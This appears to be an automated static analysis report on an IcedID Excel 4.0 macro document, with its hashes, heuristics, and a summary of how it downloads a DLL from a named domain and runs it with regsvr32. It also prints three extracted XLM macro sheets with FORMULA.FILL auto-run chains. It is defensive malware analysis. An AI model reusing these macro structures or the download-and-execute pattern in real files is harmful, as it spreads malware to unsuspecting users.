IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 f2bf508393880225…

MALICIOUS

Office (OOXML)

184.8 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-10
MD5: 306fb1dbb4f060f2e684aa7ede49fd1b SHA-1: a29180dcb18396977776ec448e374b31c8a8d06a SHA-256: f2bf50839388022543e6b0a55a3361826f23d2d76add88b3fc2d476735cf3d4e
242 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled document detected as IcedID. The macros utilize dangerous XLM functions like FORMULA.FILL to call Win32 APIs. Specifically, it attempts to download a DLL payload from multiple URLs including 'clevermeaning.bid' and execute it using 'regsvr32'. This indicates a downloader functionality aiming to fetch and run a second-stage payload.

Heuristics 5

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (3 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA.FILL critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 1288 bytes
SHA-256: 4579e9d9134ee88a7a896edfcabc863e2e82e557af728eaf391ae4946f07af34
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="CA14:CB15"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="1"/></cols><sheetData><row r="14" spans="79:80" x14ac:dyDescent="0.25"><c r="CA14" s="1" t="str"><f>NOW()&amp;".jpg"</f><v>44376,8555986111.jpg</v></c></row><row r="15" spans="79:80" x14ac:dyDescent="0.25"><c r="CA15" s="1" t="b"><f>FORMULA.FILL(Sheet4!CG5&amp;Sheet4!CG6&amp;Sheet4!CG7&amp;Sheet4!CG8,Sheet1!CA15)=CB14()</f><v>1</v></c><c r="CB15" s="1" t="b"><f>FORMULA.FILL(Sheet4!CG5&amp;Sheet4!CG6&amp;Sheet4!CG7&amp;Sheet4!CG9,Sheet1!CA16)=Sheet2!CA13()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1006 bytes
SHA-256: a9bd2c7d1f14da0f3e3ab6e683fef5420e3258570938b9e2c42be9d97853a0c4
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="CA14"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="1"/></cols><sheetData><row r="14" spans="79:79" x14ac:dyDescent="0.25"><c r="CA14" s="1" t="b"><f>FORMULA.FILL(Sheet4!CJ9&amp;Sheet4!CJ10&amp;Sheet4!CJ11&amp;Sheet4!CJ12,Sheet1!CA21)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 1332 bytes
SHA-256: 3f1fe57153abf51373b41e259e14cd7b677ecfec1f43f73b973ae63b3ad3f3c1
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="CA14:CD14"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="1"/></cols><sheetData><row r="14" spans="79:82" x14ac:dyDescent="0.25"><c r="CA14" s="1" t="b"><f>FORMULA.FILL(Sheet4!CG5&amp;Sheet4!CG6&amp;Sheet4!CG7&amp;Sheet4!CG10,Sheet1!CA17)=CB13()</f><v>1</v></c><c r="CB14" s="1" t="b"><f>FORMULA.FILL(Sheet4!CF16&amp;Sheet4!CF17,Sheet1!CA18)=CC13()</f><v>1</v></c><c r="CC14" s="1" t="b"><f>FORMULA.FILL(Sheet4!CF16&amp;Sheet4!CF18,Sheet1!CA19)=CD13()</f><v>1</v></c><c r="CD14" s="1" t="b"><f>FORMULA.FILL(Sheet4!CF16&amp;Sheet4!CF19,Sheet1!CA20)=Sheet1!CA13()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.